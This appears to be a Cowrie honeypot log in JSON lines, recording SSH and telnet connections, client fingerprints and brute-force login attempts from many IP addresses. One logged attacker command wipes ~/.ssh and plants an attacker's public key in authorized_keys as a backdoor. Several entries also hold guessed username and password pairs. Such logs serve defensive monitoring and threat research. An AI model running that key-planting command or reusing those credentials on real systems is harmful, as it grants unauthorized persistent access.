{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:21.324515Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:21.801457Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:21.806262Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:22.031103Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:22.035201Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":53592,"dst_ip":"10.17.0.5","dst_port":22,"session":"989f922edc94","protocol":"ssh","message":"New connection: 125.31.2.160:53592 (10.17.0.5:22) [session: 989f922edc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:22.246269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:22.251023Z","src_ip":"125.31.2.160","session":"989f922edc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:22.469665Z","src_ip":"125.31.2.160","session":"989f922edc94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:23.381012Z","src_ip":"125.31.2.160","session":"989f922edc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:24.603880Z","src_ip":"125.31.2.160","session":"989f922edc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":54522,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07e09700da4","protocol":"ssh","message":"New connection: 125.31.2.160:54522 (10.17.0.5:22) [session: f07e09700da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:24.817568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:24.823532Z","src_ip":"125.31.2.160","session":"f07e09700da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:25.041541Z","src_ip":"125.31.2.160","session":"f07e09700da4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:25.947449Z","src_ip":"125.31.2.160","session":"f07e09700da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:26.168928Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:26.173374Z","src_ip":"125.31.2.160","session":"f07e09700da4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6e5ac3044c8","protocol":"ssh","message":"New connection: 37.143.61.130:34734 (159.203.135.109:22) [session: a6e5ac3044c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:29.779772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:30.081648Z","src_ip":"37.143.61.130","session":"a6e5ac3044c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:30.273854Z","src_ip":"37.143.61.130","session":"a6e5ac3044c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45012712478638,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:30.313138Z","src_ip":"209.126.87.217","session":"8af1a057b521","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd!@#456","message":"login attempt [root/Asd!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:34.396226Z","src_ip":"37.143.61.130","session":"a6e5ac3044c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:35.895716Z","src_ip":"37.143.61.130","session":"a6e5ac3044c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":56102,"dst_ip":"10.17.0.5","dst_port":22,"session":"a146366bfd15","protocol":"ssh","message":"New connection: 45.43.86.48:56102 (10.17.0.5:22) [session: a146366bfd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.084226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.098343Z","src_ip":"45.43.86.48","session":"a146366bfd15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.196815Z","src_ip":"45.43.86.48","session":"a146366bfd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40174,"dst_ip":"159.203.135.109","dst_port":22,"session":"04940af5d4d1","protocol":"ssh","message":"New connection: 159.203.92.129:40174 (159.203.135.109:22) [session: 04940af5d4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.881882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.886915Z","src_ip":"159.203.92.129","session":"04940af5d4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.891688Z","src_ip":"159.203.92.129","session":"04940af5d4d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"aaa2190988","message":"login attempt [ansible/aaa2190988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:39.949821Z","src_ip":"159.203.92.129","session":"04940af5d4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35592174530029,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:40.614255Z","src_ip":"209.126.87.217","session":"21cc32416dfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:40.955661Z","src_ip":"159.203.92.129","session":"04940af5d4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55850,"dst_ip":"10.17.0.5","dst_port":23,"session":"919950741ca9","protocol":"telnet","message":"New connection: 172.233.212.110:55850 (10.17.0.5:23) [session: 919950741ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:41.201271Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55848,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2dfd1a233ea","protocol":"telnet","message":"New connection: 172.233.212.110:55848 (10.17.0.5:23) [session: b2dfd1a233ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:41.589447Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":55866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2431c142f2b4","protocol":"telnet","message":"New connection: 172.233.212.110:55866 (10.17.0.5:23) [session: 2431c142f2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:41.648184Z"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"nodeuser","message":"login attempt [nodeuser/nodeuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:43.299838Z","src_ip":"45.43.86.48","session":"a146366bfd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:44.492881Z","src_ip":"45.43.86.48","session":"a146366bfd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.06345319747925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:46.698609Z","src_ip":"209.126.87.217","session":"d3635b7d5258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52572,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb16ab148dfd","protocol":"telnet","message":"New connection: 139.162.207.207:52572 (10.17.0.5:23) [session: cb16ab148dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:49.743201Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3560cc8a3c6","protocol":"telnet","message":"New connection: 139.162.207.207:52574 (10.17.0.5:23) [session: a3560cc8a3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:52.814243Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47794,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c9d680451a","protocol":"telnet","message":"New connection: 172.233.212.110:47794 (10.17.0.5:23) [session: 01c9d680451a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:55.777669Z"}
{"eventid":"cowrie.session.closed","duration":40.21382784843445,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:59.997312Z","src_ip":"139.162.207.207","session":"d38a31d823e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.766480445861816,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:00.829937Z","src_ip":"139.162.207.207","session":"55e859bf2865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148296356201,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:06.444602Z","src_ip":"42.114.201.41","session":"b368bc861563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":9966,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e5f3f23c00f","protocol":"telnet","message":"New connection: 42.114.201.41:9966 (159.203.135.109:23) [session: 2e5f3f23c00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:07.942374Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":50620,"dst_ip":"159.203.135.109","dst_port":23,"session":"73c113766e4d","protocol":"telnet","message":"New connection: 42.114.201.41:50620 (159.203.135.109:23) [session: 73c113766e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:10.764461Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31918,"dst_ip":"10.17.0.5","dst_port":22,"session":"9845b033e70c","protocol":"ssh","message":"New connection: 87.251.64.176:31918 (10.17.0.5:22) [session: 9845b033e70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:12.724385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:12.729137Z","src_ip":"87.251.64.176","session":"9845b033e70c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47118,"dst_ip":"159.203.135.109","dst_port":23,"session":"4405b821e3d7","protocol":"telnet","message":"New connection: 209.126.87.217:47118 (159.203.135.109:23) [session: 4405b821e3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:28:12.812338Z"}
